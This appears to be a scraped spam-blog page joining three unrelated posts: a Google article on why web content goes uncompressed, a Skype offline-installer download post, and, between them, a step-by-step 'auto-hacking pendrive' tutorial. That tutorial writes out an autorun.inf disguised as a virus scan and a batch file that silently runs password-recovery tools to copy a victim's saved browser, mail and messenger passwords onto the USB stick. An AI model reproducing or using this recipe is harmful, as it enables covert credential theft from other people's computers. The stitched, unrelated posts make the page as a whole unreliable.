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Seo Master present to you: Every day, more than 99 human years are wasted because of uncompressed content. Although support for compression is a standard feature of all modern browsers, there are still many cases in which users of these browsers do not receive compressed content. This wastes bandwidth and slows down users' interactions with web pages.

Uncompressed content hurts all users. For bandwidth-constrained users, it takes longer just to transfer the additional bits. For broadband connections, even though the bits are transferred quickly, it takes several round trips between client and server before the two can communicate at the highest possible speed.  For these users the number of round trips is the larger factor in determining the time required to load a web page. Even for well-connected users these round trips often take tens of milliseconds and sometimes well over one hundred milliseconds.

In Steve Souders' book Even Faster Web Sites, Tony Gentilcore presents data showing the page load time increase with compression disabled.  We've reproduced the results for three highest ranked sites from the Alexa top 100 with permission here:

Data, with permission, from Steve Souders, "Chapter 9: Going Beyond Gzipping," in Even Faster Web Sites (Sebastapol, CA: O'Reilly, 2009), 122.


The data from Google's web search logs show that the average page load time for users getting uncompressed content is 25% higher compared to the time for users getting compressed content. In a randomized experiment where we forced compression for some users who would otherwise not get compressed content, we measured a latency improvement of 300ms.  While this experiment did not capture the full difference, that is probably because users getting forced compression have older computers and older software.

We have found that there are 4 major reasons why users do not get compressed content: anti-virus software, browser bugs, web proxies, and misconfigured web servers.  The first three modify the web request so that the web server does not know that the browser can uncompress content. Specifically, they remove or mangle the Accept-Encoding header that is normally sent with every request.

Anti-virus software may try to minimize CPU operations by intercepting and altering requests so that web servers send back uncompressed content.  But if the CPU is not the bottleneck, the software is not doing users any favors.  Some popular antivirus programs interfere with compression.  Users can check if their anti-virus software is interfering with compression by visiting the browser compression test page at Browserscope.org.

By default, Internet Explorer 6 downgrades to HTTP/1.0 when behind a proxy, and as a result does not send the Accept-Encoding request header. The table below, generated from Google's web search logs, shows that IE 6 represents 36% of all search results that are sent without compression.  This number is far higher than the percentage of people using IE 6.

Data from Google Web Search Logs

There are a handful of ISPs,  where the percentage of uncompressed content is over 95%.  One likely hypothesis is that either an ISP or a corporate proxy removes or mangles the Accept-Encoding header.  As with anti-virus software, a user who suspects an ISP is interfering with compression should visit the browser compression test page at Browserscope.org.

Finally, in many cases, users are not getting compressed content because the websites they visit are not compressing their content.  The following table shows a few popular websites that do not compress all of their content. If these websites were to compress their content, they could decrease the page load times by hundreds of milliseconds for the average user, and even more for users on modem connections.

Data generated using Page Speed

To reduce uncompressed content, we all need to work together.
  • Corporate IT departments and individual users can upgrade their browsers, especially if they are using IE 6 with a proxy. Using the latest version of Firefox, Internet Explorer, Opera, Safari, or Google Chrome will increase the chances of getting compressed content.  A recent editorial in IEEE Spectrum lists additional reasons - besides compression - for upgrading from IE6.
  • Anti-virus software vendors can start handling compression properly and would need to stop removing or mangling the Accept-Encoding header in upcoming releases of their software.
  • ISPs that use an HTTP proxy which strips or mangles the Accept-Encoding header can upgrade, reconfigure or install a better proxy which doesn't prevent their users from getting compressed content.
  • Webmasters can use Page Speed (or other similar tools) to check that the content of their pages is compressed.
For more articles on speeding up the web, check out http://code.google.com/speed/articles/.

By Arvind Jain, Engineering Director and Jason Glasgow, Staff Software Engineer2013, By: Seo Master

seo Use compression to make the web faster 2013

Seo Master present to you:

Friends, This is a simple trick to convert your Pendrive like as a keyLogger. Follow instuctions . Its working for me.




usb keylogger password



  • Extract the Files and Copy only the Executable files to your Pendrive (Copy only the files –mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Pen Drive.)

  • Now  making the Autorun file , which will automatically run when you insert your pendrive .

  • Create a new Notepad text file and copy the following text.

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

  • Now save the Notepad text file as Autorun.inf  (Don't forget the  .Inf  at the end. )

  • Now Copy the Autorun.inf file to you Pen Drive.

  • Now we need to make the file where our passwords will be stored.

  • Go to Notepad and create another Notepad text file and copy the following text.


start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

  • Save the file and Then Rename it to launch.bat (Don't forget the  .bat at the end.)

  • Now copy this file also to you Usb Pen Drive.

  • Hide all Files…  Now Pendrive keylogger is ready  to work.


Just to Confirm , Now our Pendrive should contain all these files.

-autorun.inf
-launch.bat
-mspass.exe
-mailpv.exe
-iepv.exe 
-pspv.exe  
-passwordfox.exe


Lets see the Method to Use it !!


1.  Insert your PenDrive , an Autorun file should Pop-up as we had created it.
In this Pop-up window , Select Perform a Virus scan

2. Now all the Password Recovery Tools will automaticaly get executed in Background and The Passwords get saved as .TXT files in the PenDrive Itself.

3.  Remove the PenDrive and then after open them in your computer and Read the .TXT files. All the Passwords will be saved in it

This Hack works only on windows 2000 , Windows XP and Windows Vista and 7 versions. Microsoft has patched the Hack in upcoming Windows 8 



We are done………………………..





2013, By: Seo Master

seo How To Make An Auto-Hacking PenDrive – KeyLogger 2013

Seo Master present to you:

Skype is one of the most commonly used video chat tool on the globe and is available for Windows, Mac, A Linux system Unix and mobile devices. Skype is available as a free download for everyone wanting to make national, international or any phone calls. Skype offers several calling plans. The best way to call your friend using Skype without paying anything is to ask your friend to install Skype and then call him. All you need is a hi-speed internet connection, Skype at both ends and a microphone to talk.The latest edition of the courier client even features deep Facebook incorporation. Skype online specialist‘s difficult and whenever it’s going to consume information when you set up Skype on different machine, and hence, it’s better that you obtain the full Skype off-line installer.

 

Skype Logo

Why Skype Offline Installer ?

What’s a Skype offline installer? A Skype offline installer also called as Skype full setup is a complete setup. If you use a Skype offline installer, you will not have to download additional data before installing Skype. Skype offline installer saves time and bandwidth too. If you have several computers or laptops, you can simply use the Skype offline installer to install Skype on all of your computers without downloading data again and again!.

 

 

You can download the Skype web installer for your Windows PC from here.

 

 

Official Skype Offline Installer : Click here

 

 

Softpedia Skype Offline Installer : Click here

 

 

 

 

 

Send your feedbacks………………….

2013, By: Seo Master

seo Download Skype Offline Installer Full Setup 2013

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